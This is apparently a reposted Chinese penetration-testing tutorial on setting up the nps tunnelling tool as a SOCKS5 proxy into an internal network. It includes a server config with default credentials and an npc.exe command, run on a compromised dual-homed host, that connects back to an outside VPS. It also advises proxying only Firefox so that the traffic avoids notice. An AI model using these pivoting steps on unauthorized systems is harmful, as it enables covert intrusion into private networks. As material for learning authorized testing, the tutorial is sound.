4.nps搭建socks5代理

0x01.nps介绍

在渗透测试过程中 , 我们肯定会遇到内网的渗透 , 如果是团队合作那么代理肯定不能少了 , 推荐一款工具nps

一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等……,并带有功能强大的web管理端。a lightweight, high-performance, powerful intranet penetration proxy server, with a powerful web management terminal

github地址: https://github.com/cnlh/nps/releases

image-20210816181901370

选择对应平台的下载 , 解压

0x02.部署nps

1.配置服务端

这里我们把服务端部署在vps上 , 方便多人运动 , 解压好的服务端压缩包会有三个文件

conf nps web

image-20210816190423932

这里我们只需要对conf下的nps.conf进行修改就可以了 , 如果你的vps某些常见的端口已经使用了 , 必须要修改一下nps.conf

appname = nps
#Boot mode(dev|pro)
runmode = dev

#HTTP(S) proxy port, no startup if empty
http_proxy_ip=0.0.0.0
http_proxy_port=81
https_proxy_port=443
https_just_proxy=true
#default https certificate setting
https_default_cert_file=conf/server.pem
https_default_key_file=conf/server.key

##bridge
bridge_type=tcp
bridge_port=8024
bridge_ip=0.0.0.0

# Public password, which clients can use to connect to the server
# After the connection, the server will be able to open relevant ports and parse related domain names according to its own configuration file.
public_vkey=123

#Traffic data persistence interval(minute)
#Ignorance means no persistence
#flow_store_interval=1

# log level LevelEmergency->0  LevelAlert->1 LevelCritical->2 LevelError->3 LevelWarning->4 LevelNotice->5 LevelInformational->6 LevelDebug->7
log_level=7
#log_path=nps.log

#Whether to restrict IP access, true or false or ignore
#ip_limit=true

#p2p
#p2p_ip=127.0.0.1
#p2p_port=6000

#web
web_host=a.o.com
web_username=admin   # 默认账号
web_password=123       # 默认密码
web_port = 8086            # 默认端口
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
# if web under proxy use sub path. like http://host/nps need this.
#web_base_url=/nps

#Web API unauthenticated IP address(the len of auth_crypt_key must be 16)
#Remove comments if needed
#auth_key=test
auth_crypt_key =1234567812345678

#allow_ports=9001-9009,10001,11000-12000

#Web management multi-user login
allow_user_login=false
allow_user_register=false
allow_user_change_username=false


#extension
allow_flow_limit=false
allow_rate_limit=false
allow_tunnel_num_limit=false
allow_local_proxy=false
allow_connection_num_limit=false
allow_multi_ip=false
system_info_display=false

#cache
http_cache=false
http_cache_length=100

#get origin ip
http_add_origin_header=false

#pprof debug options
#pprof_ip=0.0.0.0
#pprof_port=9999

#client disconnect timeout
disconnect_timeout=60

修改好端口后 , 回到nps所在的目录 , 启动nps

./nps

image-20210816190822181

启动的时候会检查端口占用情况 , 如果有的已经占用的 , 修改之前的配置文件即可

访问npsweb端

http://ip:8086/login/index
默认账号: admin
密码: 123

image-20210816191011621

新增一个客户端

image-20210816191154217

image-20210816191225784

image-20210816191249087

保存好客户端命令 , 以及basic认证的用户名和密码 , 下面会用到

新建socks5代理

image-20210816191555645

image-20210816191659097

2.配置客户端

这里用winserver2008演示 , 实战中就是一台你拿下的有双网卡的主机

然后在客户端上执行以下命令

npc.exe -server=119.3.12.54:8024 -vkey=xwj6qcpr0uuhq1ns -type=tcp

image-20210816191913647

客户端连接成功 , 服务端上线成功

image-20210816191957262

0x03.配置Proxifier

已知winserver2008所在的内网有台机器(192.168.143.132)开了一个web界面 , 现在通过配置proxifier访问内网

添加代理服务器

image-20210816192220535

image-20210816192328917

配置代理规则 , 如果你让这台机器的所有应用 , 访问所有ip都走代理的话 , 流量很大 , 容易被觉察 , 所以我们只配一下firefox访问内网走代理 , 其他直接放行

image-20210816192508867

image-20210816192526652

image-20210816192539809

打开火狐访问内网web页面

image-20210816192718101

image-20210816192736084

原文地址:https://www.cnblogs.com/xcymn/p/15712542.html